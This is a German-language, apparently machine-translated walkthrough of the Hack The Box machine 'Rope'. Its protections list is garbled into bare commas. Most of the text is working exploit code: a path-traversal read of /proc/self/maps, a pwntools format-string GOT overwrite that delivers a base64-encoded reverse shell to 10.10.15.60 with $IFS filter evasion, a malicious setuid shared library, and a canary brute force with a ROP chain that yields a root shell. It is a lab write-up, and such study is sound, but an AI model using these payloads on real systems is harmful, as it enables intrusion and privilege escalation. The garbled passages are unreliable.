Hack The Box. Walkthrough-Seil. PWN. Formatieren Sie Strings und ROP mit pwntools

Aufklärung

10.10.10.148    rope.htb

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

nmap -A rope.htb -p22,9999

HTTPserver PWN

• NX (not execute) — , , , ( ) , , , . .
• ASLR: (libc), libc. ret2libc.
• PIE: , ASLR, , . .
• Canary: , , . , . .

1. Unter welche Adresse wird das Programm heruntergeladen?
2. Und an welcher Adresse werden die von ihr genutzten Bibliotheken geladen?

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

curl http://127.0.0.1:9999/qwerty

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

p = remote(host,port)
p.send(payload)
p.close()

BENUTZER

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

gcc -c -Wall -Werror -fpic liblog.c

Gcc -shared -o liblog.so liblog.o

WURZEL

1. den Puffer finden und überlaufen lassen;
2. lege den Kanarienvogel nieder, rbp und zerreiße;
3. Da PIE aktiviert ist, müssen Sie den tatsächlichen Versatz ermitteln.
4. Suchen Sie einen Speicherverlust, um die Adresse zu berechnen, unter der die Bibliothek geladen wird.
5. Sammeln Sie ROP, in dem der Strom von Standarddeskriptoren zum Netzwerkdeskriptor des Programms umgeleitet wird, und rufen Sie dann / bin / sh über die Systemfunktion auf.

1. Pufferüberlauf

#!/usr/bin/python3
from pwn import *

HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')

pre_payload = "A" * 56

r = remote(HOST, PORT)

context.log_level='info'
r.interactive()

2.Canary, RBP, RIP

def qword_brute(pre_payload, item):
    qword_ = b""
    while len(qword_) < 8:
        for b in range(256):
            byte = bytes([b])
            try:
                r = remote(HOST, PORT)
                print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
                send_ = pre_payload + qword_ + byte
                r.sendafter(b"admin:", send_)
                if b"Done" not in r.recvall(timeout=5):
                    raise EOFError
                r.close()
                qword_ += byte
                break
            except EOFError as error:
                r.close()
    context.log_level='info'            
    log.success(f"{item} found: {hex(u64(qword_))}")
    context.log_level='error' 
    return qword_

pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")

3.PIE

base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')

4. Speicherleck

rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']

5.ROP

libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))

rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)

payload = pre_payload + flat(rop_libc.build())

r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")

ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb